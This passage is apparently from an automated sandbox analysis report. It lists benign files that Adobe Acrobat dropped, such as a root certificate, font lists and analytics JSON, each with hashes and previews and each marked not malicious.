SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklcxRY+EttfllXlE/HT8kNlltNNX8RolJuRdxLlGB9lQRYwpDdt:kKFxqeT8eNMa8RdWBwRd
MD5:	E89577C576550FB8B1C0139C1DA4ECAD
SHA1:	A0B98F760BA58DBA361C0F56EA9235045B1380A2
SHA-256:	68431925DCDF2FD768199930F124405DC5B4669D697BFAB05023A701806FE61A
SHA-512:	4287AAC3B20CE3F8FDFE72E21FC62F9E619768C3AB97C0B371D1E37FDBDB0D262764CA342A5D44543919F312AEDD56CF758134FB424F17BCEC3F58367445556B
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4620

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4620

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3433609764847825
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBcDxWb1is2nZiQ0YS9VXVeoAvJM3g98kUwPeUkwRe9:YvXKXBc8bt2cJXVVGMbLUkee9
MD5:	12C3520AFBE90CC5B40A70921166541B
SHA1:	079BBB1658CDF3CDA0B0843A6F616B9DB469976A
SHA-256:	B30D38F8D4504C73FE1F3124893C4BD51777FFE79EBB2E76F71A39C4E1C967FF
SHA-512:	30CEB3F4398C9D4B35191194CD2494F7D19E1F6A84C795D0B5A112F218BB03ACF7741994F9D3B29F19B8C8778A0AF74ACFA55CCC4284BAED4146C2086E0C6FE8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"69f42bde-e984-46c2-b04f-ea9924e59bce","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736743900202,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.291961882029377
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBcDxWb1is2nZiQ0YS9VXVeoAvJfBoTfXpnrPeUkwRe9:YvXKXBc8bt2cJXVVGWTfXcUkee9
MD5:	33B92E1CA24ACF254EFFB1E1FD18A917
SHA1:	E4099CD6536911B48B14E475F03731ADAC9CCA65
SHA-256:	B9221061683B1C75A9F51F3EE4FEDDC57BCAB1A57DAC65FA833A38562B93B555
SHA-512:	2C3531B4A798E96BBD4343679BCCDB3F692E37F2120B0EF545F7E5D949F6A22E2ED357EFAFB02A82B92264FA5F8EEC31EA3AAD133AD28D2AC8A796D1853FB003
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"69f42bde-e984-46c2-b04f-ea9924e59bce","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736743900202,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.27128680486797
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBcDxWb1is2nZiQ0YS9VXVeoAvJfBD2G6UpnrPeUkwRe9:YvXKXBc8bt2cJXVVGR22cUkee9
MD5:	3364FAB5CCD4AA1EE5FC33A633F18754
SHA1:	53A067D96BFE67FCD8B81602AF17AF4036813F74
SHA-256:	DDF1601418E3997FA464C6C2E3336AE86DADEA92647E909897A5F9A6DAB1F642
SHA-512:	274C8F5A8E8FD379CD7084648D49306ECA62F22100D9CAA43B2EC1E66E1052D6CF105D66A55525FB0ECB13115BB258002A95D67C88C44A6548A473A6E3E47831
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"69f42bde-e984-46c2-b04f-ea9924e59bce","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736743900202,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.32268171320723
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBcDxWb1is2nZiQ0YS9VXVeoAvJfPmwrPeUkwRe9:YvXKXBc8bt2cJXVVGH56Ukee9
MD5:	3D9A8533BBC77BED8038D778BA5C37D1
SHA1:	699763B7BF2073F0F8BCCC788585B056D237BA37
SHA-256:	7C690769842148E57A2484DC85D7BD45BD889D9C4F4F315C2D6ACB24754EA006
SHA-512:	DCBC851B9C47110D2DBF8B53542A132DF1A2529DEE2591A008CB35084BB9C3C675C9D01A76E2A4A3011A2608479C036BF0A45AAB559A0F7D5190E866E40507B7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"69f42bde-e984-46c2-b04f-ea9924e59bce","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736743900202,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.682232081892555
Encrypted:	false
SSDEEP:	24:Yv6XBc+ZV6pLgE9cQx8LennAvzBvkn0RCmK8czOCCSB:YvEcgshgy6SAFv5Ah8cv/B
MD5:	7F5055DDCF652B58CECA8C30794E76F0
SHA1:	956D4337A7D22C61BEBBE586D6BE5528D5226C34
SHA-256:	5C96899D98B3399C89287057FBC9402A5E9BDAE13B735FE390BA7DBA121A9592
SHA-512:	6013FD55C28E8F39D44CA1D021F92A1600A17C57B5FF9D11D3A109EA418153F66083F200580C4A5F8536C782B0BBA23D1D634361FA0C6E5E01372ED9B314C466
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"69f42bde-e984-46c2-b04f-ea9924e59bce","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736743900202,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.271215334544801
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBcDxWb1is2nZiQ0YS9VXVeoAvJf8dPeUkwRe9:YvXKXBc8bt2cJXVVGU8Ukee9
MD5:	F79A7B350DF947AD23FB2972C996F877
SHA1:	6157B98C7C7FE973F1B672F45459B86A6698538C
SHA-256:	07A2409E127877A35299E05168B8941D2126DB86E693817CC11135C0287B4EAB
SHA-512:	B9C29CCB5F7F931C8E001C7835D41BA6B611D3A05A524C5412C1C170485D6E245CFA6EB27358695F7FE1A2F0329F58A9103C1691A21AE3A9D25641DFF76E207A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"69f42bde-e984-46c2-b04f-ea9924e59bce","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736743900202,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.273072396636536
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBcDxWb1is2nZiQ0YS9VXVeoAvJfQ1rPeUkwRe9:YvXKXBc8bt2cJXVVGY16Ukee9
MD5:	B0E1E55D3C1D68EFF5C428756610008B
SHA1:	C6DD62BA0CF7FB9679C7A611D3DF1426F411813B
SHA-256:	ECC20EFB68548A743A643780708B0730BEBCE370517C5B387DC842AB825F1B39
SHA-512:	474332CF6150288FD70AC68728E2E318297F61C51C494EC7764EC91FD5DACEC21432390B1BD28749B75F47F7B8563822E730844B263D5427FD597F6F7B169214
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"69f42bde-e984-46c2-b04f-ea9924e59bce","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736743900202,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282705042981967
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBcDxWb1is2nZiQ0YS9VXVeoAvJfFldPeUkwRe9:YvXKXBc8bt2cJXVVGz8Ukee9
MD5:	495457A73A65C1892DA384B15D37431D
SHA1:	79EFDB559CFC66088719BC9C2427079D6D717667
SHA-256:	6EE9F4987FBF59DA312459132CDD038E426755802E7AD0C1CB53572BA3BB1CA9
SHA-512:	3E7B450F6FE5CCD0083A2157BE3ECE8E5B426B928B9A700749E327B0E8E60FE0002B5382A10341893144C3EC1FF8CAE2534F00618CD5A05BE63DD47E4F0843D8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"69f42bde-e984-46c2-b04f-ea9924e59bce","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736743900202,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.297991220602565
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBcDxWb1is2nZiQ0YS9VXVeoAvJfzdPeUkwRe9:YvXKXBc8bt2cJXVVGb8Ukee9
MD5:	1ABD5396557310EFF741F10707B6C918
SHA1:	1EEDFB69AD8E862822CA31925858C89525F471B5
SHA-256:	F047F97E2216DB38BD53BF8ECFCCD1CCE96AEAF3C75AC0A5CFDE75D77756FC1D
SHA-512:	350D819338FBE120B54FF9AB2B28F15F0F7184B27301872DCE1FEC52586055CABE3D25B23A2641F22365E2E7C5E175771F5A3CD429440473E2850107BD36822D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"69f42bde-e984-46c2-b04f-ea9924e59bce","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736743900202,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.277897427648411
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBcDxWb1is2nZiQ0YS9VXVeoAvJfYdPeUkwRe9:YvXKXBc8bt2cJXVVGg8Ukee9
MD5:	A7C047E708842E2A3FFE379A6B75ACCE
SHA1:	325F71A6BC19A4AD4DD2F6EA297D4DBAB93138BA
SHA-256:	F7B70F8655D9E539153EF9294D8AD07757271CC25D514F54479FC9CCFE132771
SHA-512:	CCF521C3A542EDCD64A7F56C428B230AE7D480C9A3038003A5F8A3773A8EA63471077772447CF22A703288DEB0ED6CA623BD99B7FDD2551495D02087CA36A9A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"69f42bde-e984-46c2-b04f-ea9924e59bce","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736743900202,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.264661613209288
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBcDxWb1is2nZiQ0YS9VXVeoAvJf+dPeUkwRe9:YvXKXBc8bt2cJXVVG28Ukee9
MD5:	760A2DCD68F20FA3139EC9653E833BA1
SHA1:	B5D9F3649CCFB224D7F0025E63C96F55FD9BEDB2
SHA-256:	E447DC1F2A11E08CD02D49D452CD08A996344641A3C647BDD088D7DF3DD81D5B
SHA-512:	DBA6EDC92F9457D0AAC3ADFB14AAFA97070E1B8C08A6A69176FE35A563ED9B36D3FCA87342EA2A9046E20F4DD6705FACFCE6B9E3F108E7108C23EA40C952C36B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"69f42bde-e984-46c2-b04f-ea9924e59bce","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736743900202,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.26159643303603
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBcDxWb1is2nZiQ0YS9VXVeoAvJfbPtdPeUkwRe9:YvXKXBc8bt2cJXVVGDV8Ukee9
MD5:	11E0F2223F06F3E031EA6C33A423A673
SHA1:	8814EA1662FC525E8C8CB9152B12C05C1897073E
SHA-256:	B0B6FB06FF0DDF58F89B85CF571AAE83F6B77CE6B9DB54A28406C4BAC92860A6
SHA-512:	A678968A0165E0ED3E729DFD0D3389102A964106A39627C3734C1B139F0284FBAFAE28319300AF88E56A8F749DBBBF29F7E9D0214886BCB44FB17C11E590CA0A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"69f42bde-e984-46c2-b04f-ea9924e59bce","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736743900202,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.264357440130322
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBcDxWb1is2nZiQ0YS9VXVeoAvJf21rPeUkwRe9:YvXKXBc8bt2cJXVVG+16Ukee9
